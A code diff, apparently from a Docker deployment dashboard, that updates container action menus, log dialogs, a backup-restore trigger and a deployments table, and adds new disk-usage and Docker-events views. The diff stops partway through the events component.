containerId={container.containerId}
|
||||||
onClick={() => handleAction("start", startMutation)}
|
serverId={serverId}
|
||||||
>
|
runType="native"
|
||||||
Start
|
serviceId={serviceId}
|
||||||
</DropdownMenuItem>
|
/>
|
||||||
<DropdownMenuItem
|
</div>
|
||||||
className="cursor-pointer"
|
</DialogContent>
|
||||||
disabled={actionLoading !== null}
|
</Dialog>
|
||||||
onClick={() => handleAction("stop", stopMutation)}
|
)}
|
||||||
>
|
|
||||||
Stop
|
|
||||||
</DropdownMenuItem>
|
|
||||||
<DropdownMenuItem
|
|
||||||
className="cursor-pointer text-red-500 focus:text-red-600"
|
|
||||||
disabled={actionLoading !== null}
|
|
||||||
onClick={() => handleAction("kill", killMutation)}
|
|
||||||
>
|
|
||||||
Kill
|
|
||||||
</DropdownMenuItem>
|
|
||||||
</DropdownMenuContent>
|
|
||||||
</DropdownMenu>
|
|
||||||
<DialogContent className="sm:max-w-7xl">
|
|
||||||
<DialogHeader>
|
|
||||||
<DialogTitle>View Logs</DialogTitle>
|
|
||||||
<DialogDescription>Logs for {container.name}</DialogDescription>
|
|
||||||
</DialogHeader>
|
|
||||||
<div className="flex flex-col gap-4 pt-2.5">
|
|
||||||
<DockerLogsId
|
|
||||||
containerId={container.containerId}
|
|
||||||
serverId={serverId}
|
|
||||||
runType="native"
|
|
||||||
serviceId={serviceId}
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
</DialogContent>
|
|
||||||
</Dialog>
|
|
||||||
</TableCell>
|
</TableCell>
|
||||||
</TableRow>
|
</TableRow>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({
|
|||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
const { data: containers, isPending: containersLoading } =
|
const { data, isPending: containersLoading } =
|
||||||
api.docker.getContainersByAppNameMatch.useQuery(
|
api.docker.getContainersByAppNameMatch.useQuery(
|
||||||
{
|
{
|
||||||
appName,
|
appName,
|
||||||
@@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({
|
|||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const containers = data?.filter((container) => container.containerId);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (option === "native") {
|
if (option === "native") {
|
||||||
if (containers && containers?.length > 0) {
|
if (containers && containers?.length > 0) {
|
||||||
|
|||||||
@@ -74,6 +74,7 @@ interface Props {
|
|||||||
databaseType?: DatabaseType;
|
databaseType?: DatabaseType;
|
||||||
serverId?: string | null;
|
serverId?: string | null;
|
||||||
backupType?: "database" | "compose";
|
backupType?: "database" | "compose";
|
||||||
|
trigger?: React.ReactNode;
|
||||||
}
|
}
|
||||||
|
|
||||||
const RestoreBackupSchema = z
|
const RestoreBackupSchema = z
|
||||||
@@ -200,6 +201,7 @@ export const RestoreBackup = ({
|
|||||||
databaseType,
|
databaseType,
|
||||||
serverId,
|
serverId,
|
||||||
backupType = "database",
|
backupType = "database",
|
||||||
|
trigger,
|
||||||
}: Props) => {
|
}: Props) => {
|
||||||
const [isOpen, setIsOpen] = useState(false);
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
const [search, setSearch] = useState("");
|
const [search, setSearch] = useState("");
|
||||||
@@ -311,10 +313,12 @@ export const RestoreBackup = ({
|
|||||||
return (
|
return (
|
||||||
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||||
<DialogTrigger asChild>
|
<DialogTrigger asChild>
|
||||||
<Button variant="outline">
|
{trigger ?? (
|
||||||
<RotateCcw className="mr-2 size-4" />
|
<Button variant="outline">
|
||||||
Restore Backup
|
<RotateCcw className="mr-2 size-4" />
|
||||||
</Button>
|
Restore Backup
|
||||||
|
</Button>
|
||||||
|
)}
|
||||||
</DialogTrigger>
|
</DialogTrigger>
|
||||||
<DialogContent className="sm:max-w-2xl">
|
<DialogContent className="sm:max-w-2xl">
|
||||||
<DialogHeader>
|
<DialogHeader>
|
||||||
|
|||||||
@@ -14,10 +14,11 @@ import {
|
|||||||
import type { inferRouterOutputs } from "@trpc/server";
|
import type { inferRouterOutputs } from "@trpc/server";
|
||||||
import {
|
import {
|
||||||
ArrowUpDown,
|
ArrowUpDown,
|
||||||
Boxes,
|
|
||||||
ChevronLeft,
|
ChevronLeft,
|
||||||
ChevronRight,
|
ChevronRight,
|
||||||
|
CircuitBoard,
|
||||||
ExternalLink,
|
ExternalLink,
|
||||||
|
GlobeIcon,
|
||||||
Loader2,
|
Loader2,
|
||||||
Rocket,
|
Rocket,
|
||||||
Server,
|
Server,
|
||||||
@@ -71,24 +72,26 @@ function getServiceInfo(d: DeploymentRow) {
|
|||||||
return {
|
return {
|
||||||
type: "Application" as const,
|
type: "Application" as const,
|
||||||
name: app.name,
|
name: app.name,
|
||||||
|
icon: app.icon,
|
||||||
projectId: app.environment.project.projectId,
|
projectId: app.environment.project.projectId,
|
||||||
environmentId: app.environment.environmentId,
|
environmentId: app.environment.environmentId,
|
||||||
projectName: app.environment.project.name,
|
projectName: app.environment.project.name,
|
||||||
environmentName: app.environment.name,
|
environmentName: app.environment.name,
|
||||||
serviceId: app.applicationId,
|
serviceId: app.applicationId,
|
||||||
href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}`,
|
href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}?tab=deployments`,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
if (comp?.environment?.project && comp.environment) {
|
if (comp?.environment?.project && comp.environment) {
|
||||||
return {
|
return {
|
||||||
type: "Compose" as const,
|
type: "Compose" as const,
|
||||||
name: comp.name,
|
name: comp.name,
|
||||||
|
icon: comp.icon,
|
||||||
projectId: comp.environment.project.projectId,
|
projectId: comp.environment.project.projectId,
|
||||||
environmentId: comp.environment.environmentId,
|
environmentId: comp.environment.environmentId,
|
||||||
projectName: comp.environment.project.name,
|
projectName: comp.environment.project.name,
|
||||||
environmentName: comp.environment.name,
|
environmentName: comp.environment.name,
|
||||||
serviceId: comp.composeId,
|
serviceId: comp.composeId,
|
||||||
href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}`,
|
href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}?tab=deployments`,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
@@ -175,10 +178,16 @@ export function ShowDeploymentsTable() {
|
|||||||
if (!info) return <span className="text-muted-foreground">—</span>;
|
if (!info) return <span className="text-muted-foreground">—</span>;
|
||||||
return (
|
return (
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
{info.type === "Application" ? (
|
{info.icon ? (
|
||||||
<Rocket className="size-4 text-muted-foreground shrink-0" />
|
<img
|
||||||
|
src={info.icon}
|
||||||
|
alt={info.name}
|
||||||
|
className="size-4 object-contain shrink-0"
|
||||||
|
/>
|
||||||
|
) : info.type === "Application" ? (
|
||||||
|
<GlobeIcon className="size-4 text-muted-foreground shrink-0" />
|
||||||
) : (
|
) : (
|
||||||
<Boxes className="size-4 text-muted-foreground shrink-0" />
|
<CircuitBoard className="size-4 text-muted-foreground shrink-0" />
|
||||||
)}
|
)}
|
||||||
<div className="flex flex-col min-w-0">
|
<div className="flex flex-col min-w-0">
|
||||||
<span className="font-medium truncate">{info.name}</span>
|
<span className="font-medium truncate">{info.name}</span>
|
||||||
|
|||||||
@@ -0,0 +1,428 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import {
|
||||||
|
type ColumnDef,
|
||||||
|
flexRender,
|
||||||
|
getCoreRowModel,
|
||||||
|
getPaginationRowModel,
|
||||||
|
getSortedRowModel,
|
||||||
|
type PaginationState,
|
||||||
|
type SortingState,
|
||||||
|
useReactTable,
|
||||||
|
} from "@tanstack/react-table";
|
||||||
|
import type { inferRouterOutputs } from "@trpc/server";
|
||||||
|
import {
|
||||||
|
ArrowUpDown,
|
||||||
|
Boxes,
|
||||||
|
Database,
|
||||||
|
Gauge,
|
||||||
|
HardDrive,
|
||||||
|
Layers,
|
||||||
|
Loader2,
|
||||||
|
type LucideIcon,
|
||||||
|
Trash2,
|
||||||
|
} from "lucide-react";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import type { AppRouter } from "@/server/api/root";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
type DiskUsageItem =
|
||||||
|
inferRouterOutputs<AppRouter>["dockerDiskUsage"]["getDiskUsage"][number];
|
||||||
|
type BuildCacheBase =
|
||||||
|
inferRouterOutputs<AppRouter>["dockerDiskUsage"]["getBuildCache"][number];
|
||||||
|
type BuildCacheRow = BuildCacheBase & { key: string };
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
serverId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const STAT_CARDS: { type: string; title: string; icon: LucideIcon }[] = [
|
||||||
|
{ type: "Images", title: "Images", icon: Layers },
|
||||||
|
{ type: "Containers", title: "Containers", icon: Boxes },
|
||||||
|
{ type: "Local Volumes", title: "Volumes", icon: HardDrive },
|
||||||
|
{ type: "Build Cache", title: "Build Cache", icon: Database },
|
||||||
|
];
|
||||||
|
|
||||||
|
const SortableHeader = ({
|
||||||
|
column,
|
||||||
|
title,
|
||||||
|
}: {
|
||||||
|
column: {
|
||||||
|
getIsSorted: () => false | "asc" | "desc";
|
||||||
|
toggleSorting: (asc: boolean) => void;
|
||||||
|
};
|
||||||
|
title: string;
|
||||||
|
}) => (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
className="-ml-3 h-8"
|
||||||
|
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||||
|
>
|
||||||
|
{title}
|
||||||
|
<ArrowUpDown className="ml-2 size-4" />
|
||||||
|
</Button>
|
||||||
|
);
|
||||||
|
|
||||||
|
const StatCard = ({
|
||||||
|
icon: Icon,
|
||||||
|
title,
|
||||||
|
item,
|
||||||
|
isLoading,
|
||||||
|
}: {
|
||||||
|
icon: LucideIcon;
|
||||||
|
title: string;
|
||||||
|
item?: DiskUsageItem;
|
||||||
|
isLoading: boolean;
|
||||||
|
}) => (
|
||||||
|
<Card className="p-4">
|
||||||
|
<div className="flex items-center gap-2 text-sm text-muted-foreground">
|
||||||
|
<Icon className="size-4" />
|
||||||
|
{title}
|
||||||
|
</div>
|
||||||
|
{isLoading ? (
|
||||||
|
<div className="mt-3 flex items-center gap-2 text-sm text-muted-foreground">
|
||||||
|
<Loader2 className="size-4 animate-spin" />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="mt-2 text-2xl font-semibold">{item?.size ?? "-"}</div>
|
||||||
|
<div className="mt-1 flex flex-wrap gap-x-3 text-xs text-muted-foreground">
|
||||||
|
<span>{item?.totalCount ?? 0} total</span>
|
||||||
|
<span>{item?.active ?? 0} active</span>
|
||||||
|
<span>{item?.reclaimable ?? "-"} reclaimable</span>
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</Card>
|
||||||
|
);
|
||||||
|
|
||||||
|
export const ShowDiskUsage = ({ serverId }: Props) => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const [sorting, setSorting] = useState<SortingState>([
|
||||||
|
{ id: "Size", desc: true },
|
||||||
|
]);
|
||||||
|
const [globalFilter, setGlobalFilter] = useState("");
|
||||||
|
const [pagination, setPagination] = useState<PaginationState>({
|
||||||
|
pageIndex: 0,
|
||||||
|
pageSize: 10,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { data: diskUsage, isLoading: isLoadingDiskUsage } =
|
||||||
|
api.dockerDiskUsage.getDiskUsage.useQuery({ serverId });
|
||||||
|
const { data: buildCache, isLoading: isLoadingBuildCache } =
|
||||||
|
api.dockerDiskUsage.getBuildCache.useQuery({ serverId });
|
||||||
|
const { mutateAsync: pruneBuildCache, isPending: isPruning } =
|
||||||
|
api.dockerDiskUsage.pruneBuildCache.useMutation();
|
||||||
|
|
||||||
|
const usageByType = useMemo(
|
||||||
|
() => new Map((diskUsage ?? []).map((item) => [item.type, item])),
|
||||||
|
[diskUsage],
|
||||||
|
);
|
||||||
|
|
||||||
|
const rows = useMemo<BuildCacheRow[]>(
|
||||||
|
() =>
|
||||||
|
(buildCache ?? []).map((entry) => ({
|
||||||
|
...entry,
|
||||||
|
key: entry.id,
|
||||||
|
})),
|
||||||
|
[buildCache],
|
||||||
|
);
|
||||||
|
|
||||||
|
const filteredData = useMemo(() => {
|
||||||
|
if (!globalFilter.trim()) {
|
||||||
|
return rows;
|
||||||
|
}
|
||||||
|
const query = globalFilter.toLowerCase();
|
||||||
|
return rows.filter(
|
||||||
|
(entry) =>
|
||||||
|
entry.id.toLowerCase().includes(query) ||
|
||||||
|
entry.description.toLowerCase().includes(query) ||
|
||||||
|
entry.type.toLowerCase().includes(query),
|
||||||
|
);
|
||||||
|
}, [rows, globalFilter]);
|
||||||
|
|
||||||
|
const handlePrune = async () => {
|
||||||
|
try {
|
||||||
|
await pruneBuildCache({ serverId });
|
||||||
|
toast.success("Build cache pruned");
|
||||||
|
await Promise.all([
|
||||||
|
utils.dockerDiskUsage.getBuildCache.invalidate(),
|
||||||
|
utils.dockerDiskUsage.getDiskUsage.invalidate(),
|
||||||
|
]);
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error pruning build cache", {
|
||||||
|
description: error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const columns = useMemo<ColumnDef<BuildCacheRow>[]>(
|
||||||
|
() => [
|
||||||
|
{
|
||||||
|
accessorKey: "id",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Cache ID" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="font-mono text-xs text-muted-foreground">
|
||||||
|
{row.original.id.slice(0, 16)}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "type",
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Type" />,
|
||||||
|
cell: ({ row }) => <Badge variant="outline">{row.original.type}</Badge>,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "description",
|
||||||
|
header: "Description",
|
||||||
|
enableSorting: false,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div
|
||||||
|
className="max-w-[360px] truncate text-xs text-muted-foreground"
|
||||||
|
title={row.original.description}
|
||||||
|
>
|
||||||
|
{row.original.description || "-"}
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "Size",
|
||||||
|
accessorFn: (entry) => entry.sizeBytes,
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Size" />,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-muted-foreground">{row.original.size}</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "created",
|
||||||
|
accessorKey: "createdSince",
|
||||||
|
header: "Created",
|
||||||
|
enableSorting: false,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-xs text-muted-foreground whitespace-nowrap">
|
||||||
|
{row.original.createdSince}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "lastUsed",
|
||||||
|
accessorKey: "lastUsedSince",
|
||||||
|
header: "Last Used",
|
||||||
|
enableSorting: false,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-xs text-muted-foreground whitespace-nowrap">
|
||||||
|
{row.original.lastUsedSince}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "usageCount",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Usage" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-muted-foreground">
|
||||||
|
{row.original.usageCount}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "flags",
|
||||||
|
enableSorting: false,
|
||||||
|
header: "Flags",
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div className="flex gap-1">
|
||||||
|
{row.original.inUse && <Badge variant="blue">In use</Badge>}
|
||||||
|
{row.original.shared && <Badge variant="outline">Shared</Badge>}
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[],
|
||||||
|
);
|
||||||
|
|
||||||
|
const table = useReactTable({
|
||||||
|
data: filteredData,
|
||||||
|
columns,
|
||||||
|
getRowId: (row) => row.key,
|
||||||
|
state: {
|
||||||
|
sorting,
|
||||||
|
pagination,
|
||||||
|
},
|
||||||
|
onSortingChange: setSorting,
|
||||||
|
onPaginationChange: setPagination,
|
||||||
|
getCoreRowModel: getCoreRowModel(),
|
||||||
|
getSortedRowModel: getSortedRowModel(),
|
||||||
|
getPaginationRowModel: getPaginationRowModel(),
|
||||||
|
});
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="w-full space-y-4">
|
||||||
|
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-4">
|
||||||
|
{STAT_CARDS.map((stat) => (
|
||||||
|
<StatCard
|
||||||
|
key={stat.type}
|
||||||
|
icon={stat.icon}
|
||||||
|
title={stat.title}
|
||||||
|
item={usageByType.get(stat.type)}
|
||||||
|
isLoading={isLoadingDiskUsage}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||||
|
<div className="rounded-xl bg-background shadow-md">
|
||||||
|
<CardHeader>
|
||||||
|
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||||
|
<div>
|
||||||
|
<CardTitle className="text-xl flex flex-row gap-2">
|
||||||
|
<Gauge className="size-6 text-muted-foreground self-center" />
|
||||||
|
Build Cache
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Cache layers kept by the Docker builder on the selected
|
||||||
|
server.
|
||||||
|
</CardDescription>
|
||||||
|
</div>
|
||||||
|
<DialogAction
|
||||||
|
title="Prune build cache"
|
||||||
|
description="This will remove all build cache entries that are not currently in use. This action cannot be undone."
|
||||||
|
onClick={handlePrune}
|
||||||
|
disabled={isPruning}
|
||||||
|
>
|
||||||
|
<Button variant="outline" size="sm" disabled={isPruning}>
|
||||||
|
<Trash2 className="size-4 mr-1" />
|
||||||
|
Prune build cache
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
</div>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent className="space-y-4 py-8 border-t">
|
||||||
|
{isLoadingBuildCache ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : !buildCache?.length ? (
|
||||||
|
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||||
|
<div className="rounded-full bg-muted p-4">
|
||||||
|
<Database className="size-10 text-muted-foreground" />
|
||||||
|
</div>
|
||||||
|
<div className="space-y-1 text-center">
|
||||||
|
<p className="text-sm font-medium">No build cache found</p>
|
||||||
|
<p className="max-w-sm text-sm text-muted-foreground">
|
||||||
|
Layers cached by "docker build" on this server will appear
|
||||||
|
here.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<Input
|
||||||
|
placeholder="Search by id, type or description..."
|
||||||
|
value={globalFilter}
|
||||||
|
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||||
|
className="max-w-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="rounded-md border overflow-x-auto">
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
{table.getHeaderGroups().map((headerGroup) => (
|
||||||
|
<TableRow key={headerGroup.id}>
|
||||||
|
{headerGroup.headers.map((header) => (
|
||||||
|
<TableHead key={header.id}>
|
||||||
|
{header.isPlaceholder
|
||||||
|
? null
|
||||||
|
: flexRender(
|
||||||
|
header.column.columnDef.header,
|
||||||
|
header.getContext(),
|
||||||
|
)}
|
||||||
|
</TableHead>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))}
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{table.getRowModel().rows?.length ? (
|
||||||
|
table.getRowModel().rows.map((row) => (
|
||||||
|
<TableRow key={row.id}>
|
||||||
|
{row.getVisibleCells().map((cell) => (
|
||||||
|
<TableCell key={cell.id}>
|
||||||
|
{flexRender(
|
||||||
|
cell.column.columnDef.cell,
|
||||||
|
cell.getContext(),
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<TableRow>
|
||||||
|
<TableCell
|
||||||
|
colSpan={columns.length}
|
||||||
|
className="h-24 text-center text-muted-foreground"
|
||||||
|
>
|
||||||
|
No build cache entries match your filters.
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
)}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
</div>
|
||||||
|
{table.getPageCount() > 1 && (
|
||||||
|
<div className="flex items-center justify-end gap-4">
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||||
|
{table.getPageCount()}
|
||||||
|
</span>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.previousPage()}
|
||||||
|
disabled={!table.getCanPreviousPage()}
|
||||||
|
>
|
||||||
|
Previous
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.nextPage()}
|
||||||
|
disabled={!table.getCanNextPage()}
|
||||||
|
>
|
||||||
|
Next
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,425 @@
|
|||||||
|
import {
|
||||||
|
type ColumnDef,
|
||||||
|
flexRender,
|
||||||
|
getCoreRowModel,
|
||||||
|
getPaginationRowModel,
|
||||||
|
getSortedRowModel,
|
||||||
|
type PaginationState,
|
||||||
|
type SortingState,
|
||||||
|
useReactTable,
|
||||||
|
} from "@tanstack/react-table";
|
||||||
|
import { Activity, ArrowUpDown, Loader2, RefreshCw } from "lucide-react";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import { api, type RouterOutputs } from "@/utils/api";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
serverId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
type DockerEvent = RouterOutputs["docker"]["getEvents"]["events"][number];
|
||||||
|
type EventRow = DockerEvent & { key: string };
|
||||||
|
|
||||||
|
const RANGE_OPTIONS = [
|
||||||
|
{ label: "Last 5 minutes", value: 5 },
|
||||||
|
{ label: "Last 15 minutes", value: 15 },
|
||||||
|
{ label: "Last hour", value: 60 },
|
||||||
|
{ label: "Last 6 hours", value: 360 },
|
||||||
|
{ label: "Last 24 hours", value: 1440 },
|
||||||
|
];
|
||||||
|
|
||||||
|
type BadgeVariant = "blue" | "green" | "yellow" | "orange" | "red" | "blank";
|
||||||
|
|
||||||
|
const TYPE_VARIANTS: Record<string, BadgeVariant> = {
|
||||||
|
container: "blue",
|
||||||
|
image: "green",
|
||||||
|
volume: "yellow",
|
||||||
|
network: "orange",
|
||||||
|
service: "blue",
|
||||||
|
node: "orange",
|
||||||
|
};
|
||||||
|
|
||||||
|
const ACTION_VARIANTS: Record<string, BadgeVariant> = {
|
||||||
|
create: "green",
|
||||||
|
start: "green",
|
||||||
|
pull: "green",
|
||||||
|
connect: "green",
|
||||||
|
die: "red",
|
||||||
|
destroy: "red",
|
||||||
|
kill: "red",
|
||||||
|
stop: "red",
|
||||||
|
remove: "red",
|
||||||
|
disconnect: "red",
|
||||||
|
pause: "yellow",
|
||||||
|
unpause: "yellow",
|
||||||
|
};
|
||||||
|
|
||||||
|
const getTypeVariant = (type?: string): BadgeVariant =>
|
||||||
|
(type && TYPE_VARIANTS[type]) || "blank";
|
||||||
|
|
||||||
|
const getActionVariant = (action?: string): BadgeVariant =>
|
||||||
|
(action && ACTION_VARIANTS[action]) || "blank";
|
||||||
|
|
||||||
|
const getResource = (event: DockerEvent) =>
|
||||||
|
event.Actor?.Attributes?.name ?? event.Actor?.ID ?? "-";
|
||||||
|
|
||||||
|
const getAttributesText = (event: DockerEvent) => {
|
||||||
|
const attributes = Object.entries(event.Actor?.Attributes ?? {}).filter(
|
||||||
|
([key]) => key !== "name",
|
||||||
|
);
|
||||||
|
return attributes.map(([key, value]) => `${key}=${value}`).join(" ") || "-";
|
||||||
|
};
|
||||||
|
|
||||||
|
const SortableHeader = ({
|
||||||
|
column,
|
||||||
|
title,
|
||||||
|
}: {
|
||||||
|
column: {
|
||||||
|
getIsSorted: () => false | "asc" | "desc";
|
||||||
|
toggleSorting: (asc: boolean) => void;
|
||||||
|
};
|
||||||
|
title: string;
|
||||||
|
}) => (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
className="-ml-3 h-8"
|
||||||
|
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||||
|
>
|
||||||
|
{title}
|
||||||
|
<ArrowUpDown className="ml-2 size-4" />
|
||||||
|
</Button>
|
||||||
|
);
|
||||||
|
|
||||||
|
export const ShowDockerEvents = ({ serverId }: Props) => {
|
||||||
|
const [minutes, setMinutes] = useState(15);
|
||||||
|
const [search, setSearch] = useState("");
|
||||||
|
const [sorting, setSorting] = useState<SortingState>([
|
||||||
|
{ id: "time", desc: true },
|
||||||
|
]);
|
||||||
|
const [pagination, setPagination] = useState<PaginationState>({
|
||||||
|
pageIndex: 0,
|
||||||
|
pageSize: 15,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { data, isLoading, isRefetching, refetch, error } =
|
||||||
|
api.docker.getEvents.useQuery({
|
||||||
|
serverId,
|
||||||
|
minutes,
|
||||||
|
});
|
||||||
|
|
||||||
|
const events = useMemo<EventRow[]>(
|
||||||
|
() =>
|
||||||
|
(data?.events ?? []).map((event, index) => ({
|
||||||
|
...event,
|
||||||
|
key: `${event.time}-${event.Action}-${index}`,
|
||||||
|
})),
|
||||||
|
[data],
|
||||||
|
);
|
||||||
|
|
||||||
|
const filteredEvents = useMemo(() => {
|
||||||
|
if (!search.trim()) return events;
|
||||||
|
const query = search.toLowerCase();
|
||||||
|
return events.filter((event) => {
|
||||||
|
return (
|
||||||
|
event.Type?.toLowerCase().includes(query) ||
|
||||||
|
event.Action?.toLowerCase().includes(query) ||
|
||||||
|
event.Actor?.Attributes?.name?.toLowerCase().includes(query) ||
|
||||||
|
event.Actor?.ID?.toLowerCase().includes(query)
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}, [events, search]);
|
||||||
|
|
||||||
|
const columns = useMemo<ColumnDef<EventRow>[]>(
|
||||||
|
() => [
|
||||||
|
{
|
||||||
|
id: "time",
|
||||||
|
accessorFn: (event) => event.time ?? 0,
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Time" />,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-xs text-muted-foreground whitespace-nowrap">
|
||||||
|
{row.original.time
|
||||||
|
? new Date(row.original.time * 1000).toLocaleTimeString()
|
||||||
|
: "-"}
|
||||||
|
</span>
|
||||||
|
),
|
